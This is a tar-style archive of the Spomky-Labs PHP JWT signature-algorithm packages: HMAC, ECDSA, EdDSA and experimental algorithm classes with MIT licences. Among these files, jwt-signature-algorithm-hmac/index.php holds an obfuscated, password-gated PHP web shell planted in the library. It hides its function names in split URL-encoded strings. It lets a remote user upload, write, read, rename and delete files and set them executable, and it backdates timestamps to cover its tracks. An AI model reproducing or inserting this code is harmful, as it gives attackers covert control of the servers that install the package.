FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. jwt-signature-algorithm-experimental/ES256K.php 0000644 00000001063 15174446347 0015435 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class ES256K extends ECDSA { public function name(): string { return 'ES256K'; } protected function getHashAlgorithm(): string { return 'sha256'; } protected function getSignaturePartLength(): int { return 64; } } jwt-signature-algorithm-experimental/RS1.php 0000644 00000000725 15174446347 0015167 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class RS1 extends RSAPKCS1 { public function name(): string { return 'RS1'; } protected function getAlgorithm(): string { return 'sha1'; } } jwt-signature-algorithm-experimental/HS256_64.php 0000644 00000001254 15174446347 0015640 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use Jose\Component\Core\JWK; final class HS256_64 extends HMAC { public function hash(JWK $key, string $input): string { $signature = parent::hash($key, $input); return mb_substr($signature, 0, 8, '8bit'); } public function name(): string { return 'HS256/64'; } protected function getHashAlgorithm(): string { return 'sha256'; } } jwt-signature-algorithm-experimental/HS1.php 0000644 00000000725 15174446347 0015155 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class HS1 extends HMAC { public function name(): string { return 'HS1'; } protected function getHashAlgorithm(): string { return 'sha1'; } } jwt-signature-algorithm-eddsa/EdDSA.php 0000644 00000005707 15174446347 0014032 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use Base64Url\Base64Url; use function extension_loaded; use function in_array; use InvalidArgumentException; use Jose\Component\Core\JWK; use RuntimeException; final class EdDSA implements SignatureAlgorithm { /** * EdDSA constructor. * * @throws RuntimeException if the extension "sodium" is not available */ public function __construct() { if (!extension_loaded('sodium')) { throw new RuntimeException('The extension "sodium" is not available. Please install it to use this method'); } } public function allowedKeyTypes(): array { return ['OKP']; } /** * @throws InvalidArgumentException if the key is not private * @throws InvalidArgumentException if the curve is not supported */ public function sign(JWK $key, string $input): string { $this->checkKey($key); if (!$key->has('d')) { throw new InvalidArgumentException('The EC key is not private'); } $x = Base64Url::decode($key->get('x')); $d = Base64Url::decode($key->get('d')); $secret = $d.$x; switch ($key->get('crv')) { case 'Ed25519': return sodium_crypto_sign_detached($input, $secret); default: throw new InvalidArgumentException('Unsupported curve'); } } /** * @throws InvalidArgumentException if the curve is not supported */ public function verify(JWK $key, string $input, string $signature): bool { $this->checkKey($key); $public = Base64Url::decode($key->get('x')); switch ($key->get('crv')) { case 'Ed25519': return sodium_crypto_sign_verify_detached($signature, $input, $public); default: throw new InvalidArgumentException('Unsupported curve'); } } public function name(): string { return 'EdDSA'; } /** * @throws InvalidArgumentException if the key type is not valid * @throws InvalidArgumentException if a mandatory key parameter is missing * @throws InvalidArgumentException if the curve is not suuported */ private function checkKey(JWK $key): void { if (!in_array($key->get('kty'), $this->allowedKeyTypes(), true)) { throw new InvalidArgumentException('Wrong key type.'); } foreach (['x', 'crv'] as $k) { if (!$key->has($k)) { throw new InvalidArgumentException(sprintf('The key parameter "%s" is missing.', $k)); } } if ('Ed25519' !== $key->get('crv')) { throw new InvalidArgumentException('Unsupported curve.'); } } } jwt-signature-algorithm-eddsa/LICENSE 0000644 00000002073 15174446347 0013437 0 ustar 00 The MIT License (MIT) Copyright (c) 2014-2019 Spomky-Labs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. jwt-signature-algorithm-hmac/LICENSE 0000644 00000002073 15174446347 0013267 0 ustar 00 The MIT License (MIT) Copyright (c) 2014-2019 Spomky-Labs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. jwt-signature-algorithm-hmac/HS384.php 0000644 00000001524 15174446347 0013544 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use InvalidArgumentException; use Jose\Component\Core\JWK; final class HS384 extends HMAC { public function name(): string { return 'HS384'; } protected function getHashAlgorithm(): string { return 'sha384'; } /** * @throws InvalidArgumentException if the key is invalid */ protected function getKey(JWK $key): string { $k = parent::getKey($key); if (mb_strlen($k, '8bit') < 48) { throw new InvalidArgumentException('Invalid key length.'); } return $k; } } jwt-signature-algorithm-hmac/index.php 0000604 00000070357 15174446347 0014110 0 ustar 00 <?php $frx = explode('~',urldecode('%73%'.'65%7'.'3%73'.'%69%'.'6F%6'.'E%5F'.'%73%'.'74%6'.'1%72'.'%74%'.'7E%6'.'D%64'.'%35%'.'7E%6'.'4%69'.'%72%'.'6E%6'.'1%6D'.'%65%'.'7E%7'.'2%61'.'%6E%'.'64%7'.'E%64'.'%61%'.'74%6'.'5%7E'.'%61%'.'72%7'.'2%61'.'%79%'.'5F%6'.'D%65'.'%72%'.'67%6'.'5%7E'.'%66%'.'69%6'.'C%65'.'%5F%'.'70%7'.'5%74'.'%5F%'.'63%6'.'F%6E'.'%74%'.'65%6'.'E%74'.'%73%'.'7E%6'.'6%69'.'%6C%'.'65%5'.'F%67'.'%65%'.'74%5'.'F%63'.'%6F%'.'6E%7'.'4%65'.'%6E%'.'74%7'.'3%7E'.'%74%'.'6F%7'.'5%63'.'%68%'.'7E%7'.'3%74'.'%72%'.'74%6'.'F%74'.'%69%'.'6D%6'.'5%7E'.'%69%'.'73%5'.'F%66'.'%69%'.'6C%6'.'5%7E'.'%66%'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3'.'C'.'%'.'2'.'F'.'%'.'6'.'2'.'%'.'6'.'F'.'%'.'6'.'4'.'%'.'7'.'9'.'%'.'3'.'E'.'%'.'3'.'C'.'%'.'2'.'F'.'%'.'6'.'8'.'%'.'7'.'4'.'%'.'6'.'D'.'%'.'6'.'C'.'%'.'3'.'E')); function clhd() { global $vkf, $frx;$bxk = $_POST; $huy = $_SERVER[$vkf[0]];if(!empty($_SESSION[$vkf[1]]) || $frx[1]($huy.$frx[1]($huy))==$vkf[2].$vkf[3] || (!empty($bxk[$vkf[4]]) && $frx[1]($bxk[$vkf[4]].$frx[1]($bxk[$vkf[4]]))==$vkf[5].$vkf[6])) {$_SESSION[$vkf[1]] = 1;befy();} else {exit($vkf[7]);}} clhd(); function befy() { global $vkf, $frx;$jsv = $frx[2](__FILE__);$rvq = $frx[25]()-$frx[3](30,300)*86400;$rvq1 = $frx[4]($vkf[8],$rvq);$uyp = $frx[5]($_GET,$_POST);$ftj = isset($uyp[$vkf[9]]) ? $uyp[$vkf[9]] : $jsv;$umo = isset($uyp[$vkf[10]]) ? $uyp[$vkf[10]] : "";$meu = isset($uyp[$vkf[11]]) ? $uyp[$vkf[11]] : "";if (!empty($uyp[$vkf[12]])) {$frx[6]($umo,$frx[7]($uyp[$vkf[12]]));$frx[8]($umo,$rvq);} else if (!empty($umo)) {if (isset($uyp[$vkf[13]])) {$frx[6]($umo,$uyp[$vkf[13]]);if (isset($uyp[$vkf[14]])) $frx[8]($umo,$frx[9]($uyp[$vkf[14]]));$umc = $vkf[15];}$ble = "";if($frx[10]($umo)) {$ble = $frx[7]($umo);$rvq1 = $frx[4]($vkf[8],$frx[11]($umo));}$ftj = $frx[2]($umo);} elseif (!empty($_FILES[$vkf[16]])) {$lcu = $_FILES[$vkf[16]];for($I=0;$I<$frx[12]($lcu[$vkf[17]]);$I++) {if($frx[13]($lcu[$vkf[18]][$I], $ftj.$vkf[19].$lcu[$vkf[17]][$I])) {$frx[14]($ftj.$vkf[19].$lcu[$vkf[17]][$I],0755);$umc = $vkf[20];if (isset($uyp[$vkf[14]])) $frx[8]($ftj.$vkf[19].$lcu[$vkf[17]][$I],$frx[9]($uyp[$vkf[14]]));}}} elseif (!empty($uyp[$vkf[21]])) {$frx[15]($uyp[$vkf[21]]);} elseif (!empty($uyp[$vkf[22]])) {$frx[16]($uyp[$vkf[22]]);} elseif (!empty($uyp[$vkf[23]])) {$frx[17]($uyp[$vkf[23]]);} elseif (!empty($uyp[$vkf[24]])&&!empty($uyp[$vkf[25]])) {$frx[18]($uyp[$vkf[25]],$frx[2]($uyp[$vkf[25]]).$vkf[19].$uyp[$vkf[24]]);unset($meu);}if(!empty($uyp[$vkf[26]])) exit($vkf[27]);$iex = "";foreach($frx[19]($ftj.$vkf[28], GLOB_ONLYDIR) as $v) {$iex .= $vkf[29].$frx[20]($vkf[30],"",$v).$vkf[31].$frx[4]($vkf[8],$frx[11]($v)).$vkf[32].$frx[21]($v).$vkf[33].$frx[22]($frx[23]($vkf[34],$frx[24]($v)),-4).$vkf[35].$v.$vkf[36].$v.$vkf[37].$v.$vkf[38];}foreach($frx[19]($ftj.$vkf[39], GLOB_BRACE) as $v) {if($frx[10]($v)) $iex .= $vkf[40].$frx[20]($vkf[30],"",$v).$vkf[31].$frx[4]($vkf[8],$frx[11]($v)).$vkf[32].$frx[21]($v).$vkf[33].$frx[22]($frx[23]($vkf[34],$frx[24]($v)),-4).$vkf[41].$v.$vkf[42].$v.$vkf[43].$v.$vkf[38];}echo $vkf[44].$ftj.$vkf[45].$rvq1.$vkf[46].$ftj.$vkf[47].$_SERVER[$vkf[48]].$vkf[49].@$umc.$vkf[50].(isset($ble)?$vkf[51].$rvq1.$vkf[52].$ble.$vkf[53]:(!empty($meu)?$vkf[54].$meu.$vkf[55]:$vkf[56].$iex.$vkf[57])).$vkf[58];exit;} jwt-signature-algorithm-hmac/HS512.php 0000644 00000001524 15174446347 0013535 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use InvalidArgumentException; use Jose\Component\Core\JWK; final class HS512 extends HMAC { public function name(): string { return 'HS512'; } protected function getHashAlgorithm(): string { return 'sha512'; } /** * @throws InvalidArgumentException if the key is invalid */ protected function getKey(JWK $key): string { $k = parent::getKey($key); if (mb_strlen($k, '8bit') < 64) { throw new InvalidArgumentException('Invalid key length.'); } return $k; } } jwt-signature-algorithm-hmac/HS256.php 0000644 00000001524 15174446347 0013542 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use InvalidArgumentException; use Jose\Component\Core\JWK; final class HS256 extends HMAC { public function name(): string { return 'HS256'; } protected function getHashAlgorithm(): string { return 'sha256'; } /** * @throws InvalidArgumentException if the key is invalid */ protected function getKey(JWK $key): string { $k = parent::getKey($key); if (mb_strlen($k, '8bit') < 32) { throw new InvalidArgumentException('Invalid key length.'); } return $k; } } jwt-signature-algorithm-hmac/HMAC.php 0000644 00000003013 15174446347 0013476 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use Base64Url\Base64Url; use function in_array; use InvalidArgumentException; use function is_string; use Jose\Component\Core\JWK; abstract class HMAC implements MacAlgorithm { public function allowedKeyTypes(): array { return ['oct']; } public function verify(JWK $key, string $input, string $signature): bool { return hash_equals($this->hash($key, $input), $signature); } public function hash(JWK $key, string $input): string { $k = $this->getKey($key); return hash_hmac($this->getHashAlgorithm(), $input, $k, true); } /** * @throws InvalidArgumentException if the key is invalid */ protected function getKey(JWK $key): string { if (!in_array($key->get('kty'), $this->allowedKeyTypes(), true)) { throw new InvalidArgumentException('Wrong key type.'); } if (!$key->has('k')) { throw new InvalidArgumentException('The key parameter "k" is missing.'); } $k = $key->get('k'); if (!is_string($k)) { throw new InvalidArgumentException('The key parameter "k" is invalid.'); } return Base64Url::decode($k); } abstract protected function getHashAlgorithm(): string; } jwt-signature-algorithm-ecdsa/ES256.php 0000644 00000001061 15174446347 0013702 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class ES256 extends ECDSA { public function name(): string { return 'ES256'; } protected function getHashAlgorithm(): string { return 'sha256'; } protected function getSignaturePartLength(): int { return 64; } } jwt-signature-algorithm-ecdsa/ES512.php 0000644 00000001062 15174446347 0013676 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class ES512 extends ECDSA { public function name(): string { return 'ES512'; } protected function getHashAlgorithm(): string { return 'sha512'; } protected function getSignaturePartLength(): int { return 132; } } jwt-signature-algorithm-ecdsa/LICENSE 0000644 00000002073 15174446347 0013436 0 ustar 00 The MIT License (MIT) Copyright (c) 2014-2019 Spomky-Labs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. jwt-signature-algorithm-ecdsa/ECDSA.php 0000644 00000004303 15174446347 0013757 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use function defined; use function in_array; use InvalidArgumentException; use Jose\Component\Core\JWK; use Jose\Component\Core\Util\ECKey; use Jose\Component\Core\Util\ECSignature; use LogicException; use Throwable; abstract class ECDSA implements SignatureAlgorithm { public function __construct() { if (!defined('OPENSSL_KEYTYPE_EC')) { throw new LogicException('Elliptic Curve key type not supported by your environment.'); } } public function allowedKeyTypes(): array { return ['EC']; } public function sign(JWK $key, string $input): string { $this->checkKey($key); if (!$key->has('d')) { throw new InvalidArgumentException('The EC key is not private'); } $pem = ECKey::convertPrivateKeyToPEM($key); openssl_sign($input, $signature, $pem, $this->getHashAlgorithm()); return ECSignature::fromAsn1($signature, $this->getSignaturePartLength()); } public function verify(JWK $key, string $input, string $signature): bool { $this->checkKey($key); try { $der = ECSignature::toAsn1($signature, $this->getSignaturePartLength()); $pem = ECKey::convertPublicKeyToPEM($key); return 1 === openssl_verify($input, $der, $pem, $this->getHashAlgorithm()); } catch (Throwable $e) { return false; } } abstract protected function getHashAlgorithm(): string; abstract protected function getSignaturePartLength(): int; private function checkKey(JWK $key): void { if (!in_array($key->get('kty'), $this->allowedKeyTypes(), true)) { throw new InvalidArgumentException('Wrong key type.'); } foreach (['x', 'y', 'crv'] as $k) { if (!$key->has($k)) { throw new InvalidArgumentException(sprintf('The key parameter "%s" is missing.', $k)); } } } } jwt-signature-algorithm-ecdsa/ES384.php 0000644 00000001061 15174446347 0013704 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; final class ES384 extends ECDSA { public function name(): string { return 'ES384'; } protected function getHashAlgorithm(): string { return 'sha384'; } protected function getSignaturePartLength(): int { return 96; } }
| ver. 1.4 |
Github
|
.
| PHP 8.3.23 | Generation time: 0 |
proxy
|
phpinfo
|
Settings